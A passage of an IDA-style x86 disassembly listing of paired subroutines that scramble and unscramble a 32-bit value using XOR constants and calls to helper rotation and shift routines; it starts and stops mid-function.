mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ah
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 15C3C379h
mov [ebp+arg_0], eax
push 0Bh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0D62A4E92h
mov [ebp+arg_0], edx
push 3
push 12h
push 7
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 8BDF0CF9h
mov [ebp+arg_0], ecx
push 14h
push 4
push 19h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Ah
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0FCBBDB1Dh
mov [ebp+arg_0], edx
push 0
push 15h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 15h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 1530309h
mov [ebp+arg_0], eax
push 9
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 14h
push 7
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 9
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4913D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49156F proc near ; CODE XREF: sub_495329+Dp
; sub_497F97+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 9
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFAh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 14h
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF8h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 9
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 1530309h
mov [ebp+arg_0], edx
push 0Ah
push 15h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFFh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 15h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0FCBBDB1Dh
mov [ebp+arg_0], eax
push 0FFFFFFE9h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFECh
push 4
push 19h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 8BDF0CF9h
mov [ebp+arg_0], ecx
push 0FFFFFFFDh
push 12h
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0D62A4E92h
mov [ebp+arg_0], eax
push 0FFFFFFF5h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 15C3C379h
mov [ebp+arg_0], edx
push 0FFFFFFF6h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Dh
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 7
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE6h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFEh
push 17h
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0EACE3133h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49156F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49170B proc near ; CODE XREF: sub_49CE90+D2p
; sub_49D7B9+A2p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 732209Dh
mov [ebp+arg_0], eax
push 3
push 0Bh
push 0Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 9
push 12h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 20E84581h
mov [ebp+arg_0], eax
push 3
push 0Fh
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 15h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 1Dh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 19CD006Ch
mov [ebp+arg_0], ecx
push 17h
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49170B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4917A9 proc near ; CODE XREF: sub_49CE90+Dp
; sub_49F081+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 17h
push 6
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 19CD006Ch
mov [ebp+arg_0], ecx
push 0
push 1Dh
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFEBh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFDh
push 0Fh
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 20E84581h
mov [ebp+arg_0], edx
push 9
push 12h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFDh
push 0Bh
push 0Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 732209Dh
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4917A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_491849 proc near ; CODE XREF: sub_4955CD+B2p
; sub_495835+D7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 81EEB2F2h
mov [ebp+arg_0], eax
push 7
push 0Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 6
push 9
push 15h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 4
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0
push 18h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 10h
push 1
push 1Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 18h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 8
push 10h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 2
push 1Bh
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 1Bh
push 0
push 1Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1Ah
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ch
push 0
push 1Fh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 9
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 6C993A61h
mov [ebp+arg_0], edx
push 8
push 0
push 1Bh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 8
push 0Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 15h
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0C0B34455h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_491849 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4919DC proc near ; CODE XREF: sub_4955CD+Dp
; sub_495835+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0C0B34455h
mov [ebp+arg_0], eax
push 15h
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 8
push 0Eh
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF8h
push 0
push 1Bh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 6C993A61h
mov [ebp+arg_0], ecx
push 9
push 4
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF4h
push 0
push 1Fh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFE6h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFE5h
push 0
push 1Eh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFFEh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 2
push 1Bh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF9h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 8
push 10h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE8h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFF0h
push 1
push 1Ch
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0
push 18h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ah
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF9h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFAh
push 9
push 15h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 17h
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 7
push 0Ah
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 81EEB2F2h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4919DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_491B6F proc near ; CODE XREF: sub_497E12+175p
; sub_498394+7Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0A5A03DCBh
mov [ebp+arg_0], eax
push 10h
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 16h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 1Fh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 14h
push 3
push 1Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Eh
push 0Bh
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0F05EB5C4h
mov [ebp+arg_0], eax
push 0
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 18h
push 1
push 1Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0A9A308D0h
mov [ebp+arg_0], ecx
push 4
push 16h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Fh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 17h
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 5
push 7
push 17h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_491B6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_491CA1 proc near ; CODE XREF: sub_497E12+Dp
; sub_498394+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFCh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFBh
push 7
push 17h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
push 7
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE1h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 4
push 16h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0A9A308D0h
mov [ebp+arg_0], eax
push 0FFFFFFE8h
push 1
push 1Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFEEh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0F05EB5C4h
mov [ebp+arg_0], ecx
push 0Eh
push 0Bh
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFECh
push 3
push 1Ch
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0
push 1Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFEAh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 10h
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0A5A03DCBh
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_491CA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_491DD4 proc near ; CODE XREF: sub_496381+195p
; sub_4985C8+E4p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0FD52D0F0h
mov [ebp+arg_0], eax
push 14h
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 6
push 0Ch
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Ch
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 8
push 0
push 19h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 5EC8F60Ah
mov [ebp+arg_0], eax
push 0Fh
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0F3617926h
mov [ebp+arg_0], edx
push 13h
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ch
push 3
push 1Bh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0E106AA71h
mov [ebp+arg_0], edx
push 0Dh
push 7
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_491DD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_491EBB proc near ; CODE XREF: sub_496381+Dp
; sub_4985C8+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0Dh
push 7
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0E106AA71h
mov [ebp+arg_0], ecx
push 0FFFFFFF4h
push 3
push 1Bh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 13h
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0F3617926h
mov [ebp+arg_0], ecx
push 0Fh
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 5EC8F60Ah
mov [ebp+arg_0], eax
push 0FFFFFFF8h
push 0
push 19h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Ch
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFAh
push 0Ch
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 17h
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 14h
push 1
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0FD52D0F0h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_491EBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_491FA2 proc near ; CODE XREF: sub_4953F2+BBp
; sub_495743+E2p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 841A9E43h
mov [ebp+arg_0], eax
push 18h
push 0
push 1Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 14h
push 2
push 1Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Dh
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 3AC19C3h
mov [ebp+arg_0], edx
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Bh
push 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ch
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 7
push 17h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 19h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Dh
push 5
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Bh
push 0Eh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 5EF12232h
mov [ebp+arg_0], edx
push 13h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 1
push 0Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Eh
push 4
push 11h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_491FA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4920E6 proc near ; CODE XREF: sub_4953F2+Dp
; sub_495743+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFF2h
push 4
push 11h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1
push 0Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFEDh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 5EF12232h
mov [ebp+arg_0], eax
push 0FFFFFFE2h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Bh
push 0Eh
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Dh
push 5
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE7h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 7
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ch
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Bh
push 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFEh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 3AC19C3h
mov [ebp+arg_0], eax
push 0Dh
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFECh
push 2
push 1Dh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFFEh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFE8h
push 0
push 1Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 841A9E43h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4920E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_492229 proc near ; CODE XREF: sub_49B95C+10Fp
; sub_49CF72+8Ap ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0D40DC76Bh
mov [ebp+arg_0], eax
push 15h
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 51D49BEEh
mov [ebp+arg_0], eax
push 0Fh
push 7
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1
push 5
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 11h
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
push 1Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 5
push 7
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Ah
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_492229 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4922F2 proc near ; CODE XREF: sub_49B95C+Dp
; sub_49CF72+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFBh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFBh
push 7
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
